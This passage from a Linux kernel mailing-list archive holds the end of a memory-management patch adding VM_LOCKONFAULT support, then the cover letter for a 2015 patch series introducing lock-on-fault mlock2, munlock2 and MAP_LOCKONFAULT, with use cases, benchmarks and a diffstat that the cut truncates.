@@ -637,9 +643,15 @@ static int do_mlock(unsigned long start, size_t len, vm_flags_t flags)
 	if (error)
 		return error;
 
-	error = __mm_populate(start, len, 0);
-	if (error)
-		return __mlock_posix_error_return(error);
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
+		if (flags & VM_LOCKED)
+			error = __mm_populate(start, len, 0);
+		else
+			error = mm_lock_present(start, len);
+		if (error)
+			return __mlock_posix_error_return(error);
+	}
+
 	return 0;
 }
 
@@ -650,10 +662,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (!flags || flags & ~MLOCK_LOCKED)
+	if (!flags || (flags & ~(MLOCK_LOCKED | MLOCK_ONFAULT)) ||
+	    flags == (MLOCK_LOCKED | MLOCK_ONFAULT))
 		return -EINVAL;
 
-	return do_mlock(start, len, VM_LOCKED);
+	if (flags & MLOCK_LOCKED)
+		return do_mlock(start, len, VM_LOCKED);
+
+	return do_mlock(start, len, VM_LOCKONFAULT);
 }
 
 static int do_munlock(unsigned long start, size_t len, vm_flags_t flags)
@@ -672,31 +688,46 @@ static int do_munlock(unsigned long start, size_t len, vm_flags_t flags)
 
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
-	return do_munlock(start, len, VM_LOCKED);
+	return do_munlock(start, len, VM_LOCKED | VM_LOCKONFAULT);
 }
 
 SYSCALL_DEFINE3(munlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (!flags || flags & ~MLOCK_LOCKED)
+	vm_flags_t to_clear = 0;
+
+	if (!flags || flags & ~(MLOCK_LOCKED | MLOCK_ONFAULT))
 		return -EINVAL;
-	return do_munlock(start, len, VM_LOCKED);
+
+	if (flags & MLOCK_LOCKED)
+		to_clear |= VM_LOCKED;
+	if (flags & MLOCK_ONFAULT)
+		to_clear |= VM_LOCKONFAULT;
+
+	return do_munlock(start, len, to_clear);
 }
 
 static int do_mlockall(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add;
 
 	if (flags & MCL_FUTURE)
 		current->mm->def_flags |= VM_LOCKED;
 	if (flags == MCL_FUTURE)
 		goto out;
 
+	if (flags & MCL_ONFAULT) {
+		current->mm->def_flags |= VM_LOCKONFAULT;
+		to_add = VM_LOCKONFAULT;
+	} else {
+		to_add = VM_LOCKED;
+	}
+
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
+		newflags |= to_add;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -711,7 +742,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    (flags & (MCL_FUTURE | MCL_ONFAULT)) == (MCL_FUTURE | MCL_ONFAULT))
 		goto out;
 
 	ret = -EPERM;
@@ -740,18 +772,24 @@ out:
 static int do_munlockall(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_clear = 0;
 
 	if (flags & MCL_FUTURE)
 		current->mm->def_flags &= ~VM_LOCKED;
+	if (flags & MCL_ONFAULT)
+		current->mm->def_flags &= ~VM_LOCKONFAULT;
 	if (flags == MCL_FUTURE)
 		goto out;
 
+	if (flags & MCL_CURRENT)
+		to_clear |= VM_LOCKED;
+	if (flags & MCL_ONFAULT)
+		to_clear |= VM_LOCKONFAULT;
+
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags;
-		if (flags & MCL_CURRENT)
-			newflags &= ~VM_LOCKED;
+		newflags = vma->vm_flags & ~to_clear;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -766,7 +804,7 @@ SYSCALL_DEFINE0(munlockall)
 	int ret;
 
 	down_write(&current->mm->mmap_sem);
-	ret = do_munlockall(MCL_CURRENT | MCL_FUTURE);
+	ret = do_munlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
 	up_write(&current->mm->mmap_sem);
 	return ret;
 }
@@ -775,7 +813,7 @@ SYSCALL_DEFINE1(munlockall2, int, flags)
 {
 	int ret = -EINVAL;
 
-	if (!flags || flags & ~(MCL_CURRENT | MCL_FUTURE))
+	if (!flags || flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT))
 		return ret;
 
 	down_write(&current->mm->mmap_sem);
diff --git a/mm/mmap.c b/mm/mmap.c
index aa632ad..de89be4 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1232,8 +1232,8 @@ static inline int mlock_future_check(struct mm_struct *mm,
 {
 	unsigned long locked, lock_limit;
 
-	/*  mlock MCL_FUTURE? */
-	if (flags & VM_LOCKED) {
+	/*  mlock MCL_FUTURE or MCL_ONFAULT? */
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		locked = len >> PAGE_SHIFT;
 		locked += mm->locked_vm;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
@@ -1646,12 +1646,12 @@ out:
 	perf_event_mmap(vma);
 
 	vm_stat_account(mm, vm_flags, file, len >> PAGE_SHIFT);
-	if (vm_flags & VM_LOCKED) {
+	if (vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		if (!((vm_flags & VM_SPECIAL) || is_vm_hugetlb_page(vma) ||
 					vma == get_gate_vma(current->mm)))
 			mm->locked_vm += (len >> PAGE_SHIFT);
 		else
-			vma->vm_flags &= ~VM_LOCKED;
+			vma->vm_flags &= ~(VM_LOCKED | VM_LOCKONFAULT);
 	}
 
 	if (file)
@@ -2104,7 +2104,7 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns
 		return -ENOMEM;
 
 	/* mlock limit tests */
-	if (vma->vm_flags & VM_LOCKED) {
+	if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		unsigned long locked;
 		unsigned long limit;
 		locked = mm->locked_vm + grow;
@@ -2128,7 +2128,7 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns
 		return -ENOMEM;
 
 	/* Ok, everything looks good - let it rip */
-	if (vma->vm_flags & VM_LOCKED)
+	if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))
 		mm->locked_vm += grow;
 	vm_stat_account(mm, vma->vm_flags, vma->vm_file, grow);
 	return 0;
@@ -2583,7 +2583,7 @@ int do_munmap(struct mm_struct *mm, unsigned long start, size_t len)
 	if (mm->locked_vm) {
 		struct vm_area_struct *tmp = vma;
 		while (tmp && tmp->vm_start < end) {
-			if (tmp->vm_flags & VM_LOCKED) {
+			if (tmp->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 				mm->locked_vm -= vma_pages(tmp);
 				munlock_vma_pages_all(tmp);
 			}
@@ -2636,6 +2636,7 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	unsigned long populate = 0;
 	unsigned long ret = -EINVAL;
 	struct file *file;
+	vm_flags_t drop_lock_flag = 0;
 
 	pr_warn_once("%s (%d) uses deprecated remap_file_pages() syscall. "
 			"See Documentation/vm/remap_file_pages.txt.\n",
@@ -2675,10 +2676,15 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	flags |= MAP_SHARED | MAP_FIXED | MAP_POPULATE;
 	if (vma->vm_flags & VM_LOCKED) {
 		flags |= MAP_LOCKED;
-		/* drop PG_Mlocked flag for over-mapped range */
-		munlock_vma_pages_range(vma, start, start + size);
+		drop_lock_flag = VM_LOCKED;
+	} else if (vma->vm_flags & VM_LOCKONFAULT) {
+		drop_lock_flag = VM_LOCKONFAULT;
 	}
 
+	if (drop_lock_flag)
+		/* drop PG_Mlocked flag for over-mapped range */
+		munlock_vma_pages_range(vma, start, start + size, VM_LOCKED);
+
 	file = get_file(vma->vm_file);
 	ret = do_mmap_pgoff(vma->vm_file, start, size,
 			prot, flags, pgoff, &populate);
@@ -2781,7 +2787,7 @@ static unsigned long do_brk(unsigned long addr, unsigned long len)
 out:
 	perf_event_mmap(vma);
 	mm->total_vm += len >> PAGE_SHIFT;
-	if (flags & VM_LOCKED)
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT))
 		mm->locked_vm += (len >> PAGE_SHIFT);
 	vma->vm_flags |= VM_SOFTDIRTY;
 	return addr;
@@ -2816,7 +2822,7 @@ void exit_mmap(struct mm_struct *mm)
 	if (mm->locked_vm) {
 		vma = mm->mmap;
 		while (vma) {
-			if (vma->vm_flags & VM_LOCKED)
+			if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))
 				munlock_vma_pages_all(vma);
 			vma = vma->vm_next;
 		}
diff --git a/mm/mremap.c b/mm/mremap.c
index a7c93ec..44d4c44 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -335,7 +335,7 @@ static unsigned long move_vma(struct vm_area_struct *vma,
 			vma->vm_next->vm_flags |= VM_ACCOUNT;
 	}
 
-	if (vm_flags & VM_LOCKED) {
+	if (vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		mm->locked_vm += new_len >> PAGE_SHIFT;
 		*locked = true;
 	}
@@ -371,7 +371,7 @@ static struct vm_area_struct *vma_to_resize(unsigned long addr,
 			return ERR_PTR(-EINVAL);
 	}
 
-	if (vma->vm_flags & VM_LOCKED) {
+	if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		unsigned long locked, lock_limit;
 		locked = mm->locked_vm << PAGE_SHIFT;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
@@ -548,7 +548,7 @@ SYSCALL_DEFINE5(mremap, unsigned long, addr, unsigned long, old_len,
 			}
 
 			vm_stat_account(mm, vma->vm_flags, vma->vm_file, pages);
-			if (vma->vm_flags & VM_LOCKED) {
+			if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 				mm->locked_vm += pages;
 				locked = true;
 				new_addr = addr;
diff --git a/mm/msync.c b/mm/msync.c
index bb04d53..1183183 100644
--- a/mm/msync.c
+++ b/mm/msync.c
@@ -73,7 +73,7 @@ SYSCALL_DEFINE3(msync, unsigned long, start, size_t, len, int, flags)
 		}
 		/* Here vma->vm_start <= start < vma->vm_end. */
 		if ((flags & MS_INVALIDATE) &&
-				(vma->vm_flags & VM_LOCKED)) {
+				(vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))) {
 			error = -EBUSY;
 			goto out_unlock;
 		}
diff --git a/mm/rmap.c b/mm/rmap.c
index 171b687..3e91372 100644
--- a/mm/rmap.c
+++ b/mm/rmap.c
@@ -742,9 +742,9 @@ static int page_referenced_one(struct page *page, struct vm_area_struct *vma,
 		if (!pmd)
 			return SWAP_AGAIN;
 
-		if (vma->vm_flags & VM_LOCKED) {
+		if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 			spin_unlock(ptl);
-			pra->vm_flags |= VM_LOCKED;
+			pra->vm_flags |= (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT));
 			return SWAP_FAIL; /* To break the loop */
 		}
 
@@ -763,9 +763,9 @@ static int page_referenced_one(struct page *page, struct vm_area_struct *vma,
 		if (!pte)
 			return SWAP_AGAIN;
 
-		if (vma->vm_flags & VM_LOCKED) {
+		if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 			pte_unmap_unlock(pte, ptl);
-			pra->vm_flags |= VM_LOCKED;
+			pra->vm_flags |= (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT));
 			return SWAP_FAIL; /* To break the loop */
 		}
 
@@ -1205,7 +1205,7 @@ static int try_to_unmap_one(struct page *page, struct vm_area_struct *vma,
 	 * skipped over this mm) then we should reactivate it.
 	 */
 	if (!(flags & TTU_IGNORE_MLOCK)) {
-		if (vma->vm_flags & VM_LOCKED)
+		if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))
 			goto out_mlock;
 
 		if (flags & TTU_MUNLOCK)
@@ -1315,7 +1315,7 @@ out_mlock:
 	 * page is actually mlocked.
 	 */
 	if (down_read_trylock(&vma->vm_mm->mmap_sem)) {
-		if (vma->vm_flags & VM_LOCKED) {
+		if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 			mlock_vma_page(page);
 			ret = SWAP_MLOCK;
 		}
diff --git a/mm/shmem.c b/mm/shmem.c
index 4caf8ed..9ddf2ca 100644
--- a/mm/shmem.c
+++ b/mm/shmem.c
@@ -754,7 +754,7 @@ static int shmem_writepage(struct page *page, struct writeback_control *wbc)
 	index = page->index;
 	inode = mapping->host;
 	info = SHMEM_I(inode);
-	if (info->flags & VM_LOCKED)
+	if (info->flags & (VM_LOCKED | VM_LOCKONFAULT))
 		goto redirty;
 	if (!total_swap_pages)
 		goto redirty;
diff --git a/mm/swap.c b/mm/swap.c
index a3a0a2f..3580a21 100644
--- a/mm/swap.c
+++ b/mm/swap.c
@@ -710,7 +710,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
 {
 	VM_BUG_ON_PAGE(PageLRU(page), page);
 
-	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
+	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
+		   (vma->vm_flags & VM_SPECIAL)) {
 		SetPageActive(page);
 		lru_cache_add(page);
 		return;
diff --git a/mm/vmscan.c b/mm/vmscan.c
index e61445d..019d306 100644
--- a/mm/vmscan.c
+++ b/mm/vmscan.c
@@ -804,7 +804,7 @@ static enum page_references page_check_references(struct page *page,
 	 * Mlock lost the isolation race with us.  Let try_to_unmap()
 	 * move the page to the unevictable list.
 	 */
-	if (vm_flags & VM_LOCKED)
+	if (vm_flags & (VM_LOCKED | VM_LOCKONFAULT))
 		return PAGEREF_RECLAIM;
 
 	if (referenced_ptes) {
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V4 0/6] Allow user to request memory to be locked on page fault
Date: Tue, 21 Jul 2015 15:59:35 -0400
Lines: 254
Approved: news@gmane.org
Message-ID: <1437508781-28655-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437508826 8095 80.91.229.3 (21 Jul 2015 20:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jul 2015 20:00:26 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 21 22:00:15 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZHdhw-00040y-SW
	for glkm-linux-mm-2@m.gmane.org; Tue, 21 Jul 2015 22:00:09 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 04C859003CD; Tue, 21 Jul 2015 15:59:55 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 024979003C7; Tue, 21 Jul 2015 15:59:54 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E53F99003CD; Tue, 21 Jul 2015 15:59:54 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f174.google.com (mail-qk0-f174.google.com [209.85.220.174])
	by kanga.kvack.org (Postfix) with ESMTP id BE2499003C7
	for <linux-mm@kvack.org>; Tue, 21 Jul 2015 15:59:54 -0400 (EDT)
Original-Received: by qkdl129 with SMTP id l129so140438888qkd.0
        for <linux-mm@kvack.org>; Tue, 21 Jul 2015 12:59:54 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=GWOTOedrBnLXBzstHx0l/yI0Nn6pWOR17EjEeKh4+VU=;
        b=A03JmkAI6H5QsTZygjFsX6J9rS/caNKuvC5D0icqkOpuuxtWbFSRuhvwbCogkhsjBn
         fLIx53Gag/L/fXRtimQ4v5kkznLjLgaHIk1S9pqRh9CKAk+Vq/sPjyoMfbYo1hQw26hN
         xYlgNB+qseKZuRBuJDrL7t92E/OBXUV+d7/wQZ+ZorZYoFVxpRlXXEhpXJ/EnQmk7EMz
         sztaNI9f+NOIVWOZmyzuuOkFEM/VEA9oyBlnSFgVnRRy9GFAdGnhj0dP68NhjiSgTaFX
         a23Khqhct1pQckbJhDwVerRLwiMm+Yc1TehqDeqiERVFIP7RNvFAiYSIGe+15eI3mE63
         jb4A==
X-Gm-Message-State: ALoCoQnwN47tysunqFfa/Ontm036GQiI5OWf9p4iZ/GMvKFpCsNenldo4b8JifmXoosTXMBArGfq+rlynpeUrDU45TRxr295AmB+VK5n4Hdv0sP5yha2OPFd4uDt6tvR18/eVBi7OWr6Zn0AusqaL+3H0Ubrk/1lfD3ONIykp1sJ9gbIZ4/K2DIiOjDu+g18/gHUvEPH/lM5
X-Received: by 10.140.97.75 with SMTP id l69mr44957188qge.50.1437508794570;
        Tue, 21 Jul 2015 12:59:54 -0700 (PDT)
X-Received: by 10.140.97.75 with SMTP id l69mr44955987qge.50.1437508783860;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id 132si10314712qhb.110.2015.07.21.12.59.42
        for <linux-mm@kvack.org>;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 7737429172;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 3E75C29174;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437508782; bh=LEMIMiVLuhXKI8l/E/gAnFmWZbiV4ZgYNAEXYXXEfZY=;
	h=From:To:Cc:Subject:Date:From;
	b=rvxVhDDEodh1srhJ7yu2gRlL0V77ZXhKO9J1QSrwh7YNShYVDUsE1ZBo8UxC7vEwD
	 kUi5XAa1LnVG88l/dR580Ehfy3qnCacWXI4A6zRHrPzF3L4Zwg9B/1ExAPO7bS9M5B
	 5I37ZwvtQdND0pHcpUh8EEgkbj0BIRMm92xWtnt4=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.165])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 35E922092;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136039 gmane.linux.ports.alpha:3215 gmane.linux.kernel:2001555 gmane.linux.ports.mips.general:49521 gmane.linux.ports.parisc:25851 gmane.linux.ports.ppc64.devel:115644 gmane.linux.ports.sparc:21256 gmane.linux.kernel.cross-arch:28543 gmane.linux.kernel.api:13007
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136039>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  New
calls are added for munlock() and munlockall() which give the called a
way to specify which flags are supposed to be cleared.  A new MCL flag
is added to mirror the lock on fault behavior from mlock() in
mlockall().  Finally, a flag for mmap() is added that allows a user to
specify that the covered are should not be paged out, but only after the
memory has been used the first time.

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) and mmap(MAP_LOCKONFAULT) the user is charged
against RLIMIT_MEMLOCK as if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was
used, so when the VMA is created not when the pages are faulted in.  For
mlockall(MCL_ONFAULT) the user is charged as if MCL_FUTURE was used.
This decision was made to keep the accounting checks out of the page
fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073

mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---
Changes from V3:
Ensure that pages present when mlock2(MLOCK_ONFAULT) is called are locked
Ensure that VM_LOCKONFAULT is handled in cases that used to only check VM_LOCKED
Add tests for new system calls
Add missing syscall entries, fix NR_syscalls on multiple arch's
Add missing MAP_LOCKONFAULT for tile

Changes from V2:
Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.

Eric B Munson (6):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock, munlock, and munlockall system calls
  mm: gup: Add mm_lock_present()
  mm: mlock: Introduce VM_LOCKONFAULT and add mlock flags to enable it
  mm: mmap: Add mmap flag to request VM_LOCKONFAULT
  selftests: vm: Add tests for lock on fault

 arch/alpha/include/asm/unistd.h             |   2 +-
 arch/alpha/include/uapi/asm/mman.h          |   5 +
 arch/alpha/include/uapi/asm/unistd.h        |   3 +
 arch/alpha/kernel/systbls.S                 |   3 +
 arch/arm/include/asm/unistd.h               |   2 +-
 arch/arm/include/uapi/asm/unistd.h          |   3 +
 arch/arm/kernel/calls.S                     |   3 +
 arch/arm64/include/asm/unistd32.h           |   6 +
 arch/avr32/include/uapi/asm/unistd.h        |   3 +
 arch/avr32/kernel/syscall_table.S           |   3 +
 arch/blackfin/include/uapi/asm/unistd.h     |   3 +
 arch/blackfin/mach-common/entry.S           |   3 +
 arch/cris/arch-v10/kernel/entry.S           |   3 +
 arch/cris/arch-v32/kernel/entry.S           |   3 +
 arch/frv/kernel/entry.S                     |   3 +
 arch/ia64/include/asm/unistd.h              |   2 +-
 arch/ia64/include/uapi/asm/unistd.h         |   3 +
 arch/ia64/kernel/entry.S                    |   3 +
 arch/m32r/kernel/entry.S                    |   3 +
 arch/m32r/kernel/syscall_table.S            |   3 +
 arch/m68k/include/asm/unistd.h              |   2 +-
 arch/m68k/include/uapi/asm/unistd.h         |   3 +
 arch/m68k/kernel/syscalltable.S             |   3 +
 arch/microblaze/include/uapi/asm/unistd.h   |   3 +
 arch/microblaze/kernel/syscall_table.S      |   3 +
 arch/mips/include/uapi/asm/mman.h           |   8 +
 arch/mips/include/uapi/asm/unistd.h         |  21 +-
 arch/mips/kernel/scall32-o32.S              |   3 +
 arch/mips/kernel/scall64-64.S               |   3 +
 arch/mips/kernel/scall64-n32.S              |   3 +
 arch/mips/kernel/scall64-o32.S              |   3 +
 arch/mn10300/kernel/entry.S                 |   3 +
 arch/parisc/include/uapi/asm/mman.h         |   5 +
 arch/parisc/include/uapi/asm/unistd.h       |   5 +-
 arch/powerpc/include/uapi/asm/mman.h        |   5 +
 arch/powerpc/include/uapi/asm/unistd.h      |   3 +
 arch/s390/include/uapi/asm/unistd.h         |   5 +-
 arch/s390/kernel/compat_wrapper.c           |   3 +
 arch/s390/kernel/syscalls.S                 |   3 +
 arch/sh/kernel/syscalls_32.S                |   3 +
 arch/sparc/include/uapi/asm/mman.h          |   5 +
 arch/sparc/include/uapi/asm/unistd.h        |   5 +-
 arch/sparc/kernel/systbls_32.S              |   2 +-
 arch/sparc/kernel/systbls_64.S              |   4 +-
 arch/tile/include/uapi/asm/mman.h           |   9 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   3 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   3 +
 arch/xtensa/include/uapi/asm/mman.h         |   8 +
 arch/xtensa/include/uapi/asm/unistd.h       |  10 +-
 drivers/gpu/drm/drm_vm.c                    |   8 +-
 fs/proc/task_mmu.c                          |   3 +-
 include/linux/mm.h                          |   2 +
 include/linux/mman.h                        |   3 +-
